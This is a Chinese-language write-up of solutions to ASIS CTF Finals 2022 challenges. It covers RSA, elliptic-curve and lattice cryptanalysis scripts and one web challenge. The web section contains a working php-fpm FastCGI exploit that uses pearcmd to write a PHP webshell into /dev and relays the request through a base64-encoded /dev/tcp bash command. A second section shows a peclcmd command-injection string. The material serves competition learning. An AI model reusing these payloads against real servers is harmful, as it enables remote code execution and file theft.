ASIS CTF Finals 2022 Writeups

發表於
分類於 CTF

距離上次 writeup 已經超過一個月了,這次在 TSJ 打了 2022 最後的一場 CTF,只有隨便解點題目所以也只簡單解法而已。

Crypto

Bedouin

這題的核心部分:

def genbed(nbit, l):
	while True:
		zo = bin(getPrime(nbit))[2:]
		OZ = zo * l + '1'
		if isPrime(int(OZ)):
			return int(OZ)

p, q = [genbed(nbit, l) for _ in '01']
n = p * q
d = 1 ^ l ** nbit << 3 ** 3

其中 lnbits 未知,不過因為 nn 是 2048 bits 的所以其實直接爆 lnbits 即可。

不過我這邊比較笨,忘記可以直接算 dd,而是改用 coppersmith 去解 XDDD。

from Crypto.Util.number import *

n = 11121113123123225316356434558678774858078977276593397021624543840384563202155115058738121019496122867665089041531378765495378941511466657718894542904114559625642441128465120925869122510013821648504078756132678905746339918416164541967844556049129767198192120832242122152362554255476778746769978869981213179113423219879222189087301075677966655352464552361280530032139098871700688581383095249648153220815492192663813749608239655446091552718931797425166398881063388617148221988950883221751762196240326423538512655539718553076583064818193698890426088652913348728253613222688032199816839097468785655633345553434234332211221
c = 5803843969579132819335011147316700126850138645040786164613358324092389257116809400026966450184769375312899614327409585905225984512416350357377317869970672798156364680892279582644858593231713523918843003132993052161445288600305597235814501843656650641435288766888570072089417279402327786422304840443072946105311935400719421676606837065330750119585868374198105257007769314552030416147375054014617867407120886709602787976009552494441839542161616895658128320828121588847607421594537828968601732104230218732437554934895126797258625829953684512887833584347693414306725103727114467326912748686785899766881841877099566330733

ful = len(str(2^1024))

for l in range(1, 30):
    nbit = ful // l

    def calc(px):
        s = 1
        px *= 10
        for i in range(l):
            s += px
            px *= 10 ** nbit
        return s
    P.<x> = Zmod(n)[]
    f = calc(x)
    rs = f.monic().small_roots(beta=0.49)
    print(l, nbit, rs)
    if len(rs) > 0 :
        p = ZZ(f(rs[0]))
        q = n // p
        assert p * q == n
        print(p, q)
        d = 1 ^^ l ** nbit << 3 ** 3
        m = power_mod(c, d, n)
        print(long_to_bytes(m))

Monward

可以看出它是某條未知曲線的 DLP,曲線為:

ax2+y2dx2y21(modp)ax^2 + y^2 - dx^2y^2 \equiv 1 \pmod{p}

其中 a,d,pa,d,p 未知,且 pp 為質數。它另外有提供四個曲線上的點,所以直接 groebner basis 下去就能求出那些參數了。

我一開始因為忘記 enc 本身也是一個點,只能拿到一個 pp 的倍數,還在想怎麼分解找 pp

接下來是對照 EFD 可知它是一條 Twisted Edwards curves,不過 sage 只支援 Weierstrass curve 所以要找方法轉換回去。

因為這題用了 Montgomery Ladder 算了 point multiplication 所以讓我想起它和 Montgomery curve 是 birational equivalence 的,所以可以先轉換回去之後再回到 Weierstrass curve。至於這兩個 map 的公式也就寫在 wiki 的 Montgomery curve 頁面上,所以直接拿來用即可。

之後 check 一下 order 可發現它很 smooth,所以直接用 pohlig-hellman 就能解了。

至於後來我還有在 Discord 看到其他的轉換方法,一個是:

import_statements('Jacobian_of_curve')
M = Jacobian_of_curve(Curve([formula]), morphism=True)
E = M.codomain()
print(M) # prints formula that maps points

By имя пользователя#8659

另一個說是在這個頁面也有寫著轉換的 formula。

from Crypto.Util.number import *

enc = (
    3419907700515348009508526838135474618109130353320263810121,
    5140401839412791595208783401208636786133882515387627726929,
)
P = (
    2021000018575600424643989294466413996315226194251212294606,
    1252223168782323840703798006644565470165108973306594946199,
)
Q = (
    2022000008169923562059731170137238192288468444410384190235,
    1132012353436889700891301544422979366627128596617741786134,
)
R = (
    2023000000389145225443427604298467227780725746649575053047,
    4350519698064997829892841104596372491728241673444201615238,
)

PR.<a, d> = ZZ[]
def get_eq(P):
    x, y = P
    return a * x**2 + y**2 - d * x**2 * y**2 - 1


I = PR.ideal([get_eq(enc), get_eq(P), get_eq(Q), get_eq(R)])
px = ZZ(I.groebner_basis()[-1])
print(px.factor())

p = 5237201762126547007797151858779248497586822407792003360117
sol = I.change_ring(PR.change_ring(GF(p))).variety()[0]
a = ZZ(sol[a])
d = ZZ(sol[d])


def to_weierstrass(a, d, p):
    # https://en.wikipedia.org/wiki/Montgomery_curve
    A = 2 * (a + d) / (a - d) % p
    B = 4 / (a - d) % p
    a = (3 - A ^ 2) / (3 * B ^ 2) % p
    b = (2 * A ^ 3 - 9 * A) / (27 * B ^ 3) % p
    E = EllipticCurve(GF(p), [a, b])

    def phi(P):
        x, y = P
        u = (1 + y) / (1 - y) % p
        v = u / x % p

        x, y = u, v
        assert B * y ^ 2 % p == (x ^ 3 + A * x ^ 2 + x) % p
        t = ((x / B) + (A / (3 * B))) % p
        v = (y / B) % p

        x, y = t, v
        assert y ^ 2 % p == (x ^ 3 + a * x + b) % p
        return E(x, y)

    return E, phi




def to_weierstrass2(a, d, p):
    # source: имя пользователя#8659 from Discord
    from sage.schemes.elliptic_curves.jacobian import Jacobian_of_curve
    P.<x, y> = QQ[]
    C = Curve([a * x**2 + y**2 - d * x**2 * y**2 - 1])
    M = Jacobian_of_curve(C, morphism=True)
    E = M.codomain().change_ring(GF(p))
    mx, my, mz = M.defining_polynomials()

    def phi(P):
        x, y = P
        return E(mx(x, y), my(x, y), mz(x, y))

    return E, phi


E, phi = to_weierstrass2(a, d, p)
m = discrete_log(phi(enc), phi(P), operation="+")
flag = b"ASIS{" + long_to_bytes(m) + b"}"
print(flag)

Vindica

類似 RSA,而 public key 有 ee, n=pqn=pqN=(p21)(q21)N=(p^2-1)(q^2-1),所以很容易就能分解出 p,qp,q

加密的話是先 cme(modn)c \equiv m^e \pmod{n} (textbook RSA),然後將 cc 轉換成 str 後切四段弄成一個 2×22 \times 2 矩陣後開 ee 次方。

可以注意到 NN 既是 GL2(Z/nZ)GL_2(Z/nZ) 的 order 的倍數也同時是 ϕ(n)\phi(n) 的倍數,所以其實不用分解直接算兩個 group 的 dd 即可。比較麻煩的只有它 cc 和矩陣的轉換有點小坑而已==。

from Crypto.Util.number import *

e = 5078482198772022486668806580385994617046152136879757946447753006497559096311363698189927671279662282460215881884971383977603769421560651587643105884432120505614024093712045492181196774755153389551488415626903341200511584895756666520506685233571091301553677432797291383522948247421577307790421871576621793242903515091500045988509062949276333178982069574732477506029694357450058826765713
n = 10363021449027481978397698136523040156224840526536988813980447772289732568252796583569029480400841885971918279457292628777077494964266272306073795156837303451597151870070735534829041207628743246817464229192036030566123925737361164838906363407544870946204200850305741513829976332440459648804252085931138269521493971098766209511334573046832632919268929658929293913408444131177270388104753
N = 107392213553003652264193356141167842390327964666141411489753605300895389967717966219065325990583863026846677998499640622335255057106717292127317146400275358099599424428452765008928717339373244201449378568575832746100164090683550257574318731278439068909731202915200677410600049491303490567787820558996671108309423176089895240263790586705493906801778186252566858325220004019042683750828880339778401860112372011304892642369252185945127428055544519414082092350188418631467500702136331749454574303277689214044524567187394949387563389853123501460406372967215083941957639592408343405520031691298337072435702126794068748777393361487701429744483153095410562309113676977172598678391507488125481975026270733267725691293233008326251906894300961329722446578580183117531847748965008640
C = [
    1946208174139816651741710263419547576592153126350801855142762133627913647508863455823382709899043259671094044028462261991810476672592342389139600583419037130249400429216051912147809156497388747490389535839278095179701275637029504452920313532785460709421810335322833683324583540542971635153116319417565879782567743525221686507906726087786621105169291168378964690052819764946613598283697,
    1132182340479698114482383874952797406851835394503617195832358500522890480350948370033970794090094723318039532275191223723742462388681999900392328756181997298887891875712789491584405574822571967927609744519369790826014436738457000983543164898860473898076283762333186668689272789942682725689777116575064398495040777661209346469818796761610299917869552187462992078953932871607107940428566,
    7700452780560041441552917813890524163110993823471424265020074756508053970669942522256608739094119235303843336659577921739326977145056801702083374978356129281255531665001370179699899093743464696424465158478872708449905227751200590864428048833098665065609353140089197777268079240074549285218684722855590774839476140179718516214563523243006229792289296462740200370706099145614178211440202,
    7782708893953874570747318809245408011800629307006741721998241910864916749737624604100584864398704986546325867550058017705502633594608936861884411666933396887981901979859722266987588797058800525120021500545010297268991183937262790320218011315696953115130360268521260963297555084965631546139006069842106143556094168429235033227360856462499208085105421810405108260458185350930612978313221,
]


# not needed...
# P.<x, y> = QQ[]
# I = P.ideal([(x ^ 2 - 1) * (y ^ 2 - 1) - N, x * y - n])
# sol = I.variety()[0]
# p = sol[y]
# q = sol[x]
# assert p * q == n

C = matrix(Zmod(n), 2, 2, C)
_C = C ^ inverse_mod(e, N)
assert _C ^ e == C
chks = list(map(str, _C.list()))
l = 386  # guess
lens = [l // 4, l // 2 - l // 4, 3 * l // 4 - l // 2, l - 3 * l // 4]
for i in range(4):
    chks[i] = chks[i].rjust(lens[i], "0")
c = int("".join(chks))
d = inverse_mod(e, N)
m = power_mod(c, d, n)
assert power_mod(m, e, n) == c
print(long_to_bytes(m))

Wedge

這題看起來是和一些下三角矩陣與一些線性代數有關的 cryptosystem,不過很可惜這題也有 unintended…,就是直接用 decrypt oracle 拿到 flag,根本不用 bypass 什麼東西。 (Ref: ASIS 的 Crypto 是 Crypto CTF 的那個作者出的)

from pwn import *
import re

def recvvec(io):
    s = io.recvlineS().strip(' \n[]')
    return list(map(int, re.split(r'\s+', s)))
def recvmat(io):
    mat = [recvvec(io)]
    while len(mat) < len(mat[0]):
        mat.append(recvvec(io))
    return mat
def mat2str(mat):
    return ','.join([','.join(map(str, row)) for row in mat])

io = remote("162.55.188.246", 31337)
io.sendline(b'e')
io.recvuntil(b'C1 = ')
C1 = recvmat(io)
io.recvuntil(b'C2 = ')
C2 = recvmat(io)
io.sendline(b'd')
io.recvuntil(b'First send C1: ')
io.sendline(mat2str(C1).encode())
io.recvuntil(b'Now send C2: ')
io.sendline(mat2str(C2).encode())
io.recvuntil(b'The plaintext is:\n ')
flag = bytes(sum(recvmat(io), []))
print(flag)
# ASIS{e35Y_puBl!c_kEy_cRypTOsYst3M_84SeD_0n_Ma7ricEs!!}

Rhyton

這題有 n=pqn=pq,然後有個 HNP 可以解 ϕ(n)\phi(n),所以 LLL 就出來了。

from Crypto.Util.number import *
import sys

sys.path.insert(
    0, "./lattice-based-cryptanalysis"
)  # https://github.com/josephsurin/lattice-based-cryptanalysis
from lbc_toolkit import hnp

with open("output.txt") as f:
    exec(f.read())

B = floor(n ** (1 - 0.14))
print(B)
phi = hnp(n, V, W, B, verbose=True)
print(phi)
# phi = 49591240968755429312049716457401995044426228002042796673181723541052680686607142887478520649618793698962090278633758513884171676353727006663491490879076108707678273159303319324036821171540730544671074615694591081572151191056899879716952255080068563797690502291529578077456145919926152113605737981438636877020
d = inverse_mod(65537, phi)
m = power_mod(enc, d, n)
print(long_to_bytes(m))

是說這題其實可以給大點的 error 並給更少 samples,因為 ϕ(n)\phi(n) 其實和 nn share 了一半的 bits。

Web

*phphphphphp

賽中沒解掉這題

這題可以直接 php eval,但是它在執行你的 code 前會先降權:

no pwn 🫠 <?php posix_setgid(1337) && posix_setuid(1337) && eval($_POST['y']."\n\ri said no pwn 😡😡😡") ?>

不過 php-fpm 在 127.0.0.1:9000 所以可以直接打,然而一般的解法也行不通,因為它把這幾行直接 NOP 了,所以正常使用 'PHP_VALUE': 'auto_prepend_file = php://input' 是行不通的。

對照一下這題的 revenge 版本可以發現 revenge 版多了個刪除所有 .php 檔案的指令,所以很明顯是可以用 pearcmd 攻擊。我這部分是拿這個來改,生 fastcgi 的 payload,也確實能執行 pearcmd。

不過因為這題掛了個 read only 的 docker,還有很多常見的 temp dir 都被擋死了所以我以為根本寫不了檔案,導致正常 pearcmd 的打法用不了:

  fpm:
    build: ./fpm
    restart: always 
    read_only: true
    volumes:
      - ./no-write:/tmp:ro 
      - ./no-write:/var/www/html:ro 
      - ./no-write:/var/lock:ro 
      - ./no-write:/dev/shm:ro 
      - ./no-write:/var/tmp:ro 
      - ./no-write:/dev/mqueue:ro 

比賽後問了一下有其他人跟我說 /dev 底下是可寫的,所以就能直接寫檔拿 RCE。而它找這個的方法說是用這個指令找的:

find . -type d | while read d ; do touch $d/FUCKIT 2>/dev/null ; done ; find / -name FUCKIT

By jkr#2261

總之賽後我就用他的方法改了一下我的腳本就成功了:

import socket
import random
import argparse
import sys
from io import BytesIO
from base64 import *

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '+config-create+/<?php system("cat /flag.txt"); ?>+/dev/x.php',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        # 'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    request = client.request(params, content)

    cmd = f"""
    exec 3<>/dev/tcp/localhost/9000;
    echo "{b64encode(request).decode()}" | base64 -d >&3;
    cat <&3;
    exec 3<&-;
    exec 3>&-;
    """
    cmd = f"echo {b64encode(cmd.encode()).decode()} | base64 -d | bash"
    pl = b64encode(cmd.encode()).decode()
    code = f"system(base64_decode('{pl}')); ?>"

    import requests
    h = 'http://localhost:2000/'
    h = 'http://65.109.135.249:2000/'
    r = requests.post(h, data={
        'y': code
    })
    print(r.text)

# python fpm.py localhost /usr/local/lib/php/pearcmd.php -c ''
# python fpm.py localhost /dev/x.php -c ''
# ASIS{phphphphphphphphpSegmentationfault}

另外還有位說他找到了 pearcmd 的另一個 command injection,不過需要有個 .phpt 檔案存在才行:

'SCRIPT_FILENAME': '/usr/local/lib/php/peclcmd.php',
'QUERY_STRING': '''+run-tests+-i -r"system(hex2bin('payload'));"${IFS}#=d+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt'''

By fredd@8512